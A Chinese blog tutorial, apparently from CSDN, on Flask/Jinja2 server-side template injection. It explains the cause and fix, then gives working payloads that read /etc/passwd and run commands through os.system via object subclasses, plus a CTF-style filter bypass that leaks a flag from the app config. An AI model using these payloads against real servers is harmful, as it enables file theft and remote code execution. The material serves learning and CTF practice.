python模板注入

ssti漏洞

其漏洞的产生在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}包裹的内容作为变量解析替换。

  • 漏洞的解决方式:
    将template中的<h3>%s!</h3>%url更改为<h3>{{url}}</h3> 这样以来,Jinja2在模板渲染的时候将url的值替换掉{{url}}, 而不会对url内容进行二次渲染(这样即使url中含有{{}}也不会进行渲染,而只是把它当做普通字符串)

任意文件读取

类对象

‘’.__class__可以获取当前实例的类对象

类对象中的属性__mro__

''.__class__.__mro__获取当前类的继承类

类对象的方法__subclasses__()

''.__class__.__mro__[-1].__subclasses__()返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)__mro__后面可以为-1或者2
我们可以找到具有文件读取功能的类,例如file对象

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__() :
	try :
		if "file" in str(item) :
			print(num)
		num+=1
	except :
		num+=1
		continue

通过上面的python代码可以快速找到file对象的位置
假设file对象在40位:

payload:{{''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()}}

命令执行

我们还可以在object的所有子类中找可以引入了os模块的类,并以此来执行命令

#!usr/bin/env python
# encoding: utf-8  
num=0
for item in ''.__class__.__mro__[-1].__subclass__() :
	try :
		if 'os' in item.__init__.__globals__ :
			print(num)
		num+=1
	except :
		num+=1
		continue

通过上面的python代码可以找到包含os模块的类,构造命令执行语句

payload:{{''.__class__.__mro__[-1].__subclasses__()[num].__init__.__globals__['os'].system('ls')}} 

就可以找到当前目录了

利用继承泄露信息

例如漏洞代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)
  • 如果没有过滤config,则可以通过config来泄露flag,因为config作为flask的一个全局变量储存着flask应用的信息
  • 如果能用self的话,可以通过self.__dict__来泄露flag
  • 如果没有过滤()的话,可以通过上面所说的__subclasses__()来泄露得到flag

因为这里过滤了config,self和self,所以要访问到config,所以首先得找到全局变量current_app
可以通过如下两种方法使用config找到flag

__globals__['current_app'].config['FLAG']

top.app.config['FLAG']

可以通过x.__globals__这样的格式,用py得到可以用的变量
可以知道url_for和get_flashed_messages的__globals__中均含有current_app

url_for.__globals__['current_app'].config  
get_flashed_messages.__globals__['current_app'].config

都可以获得flag.

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值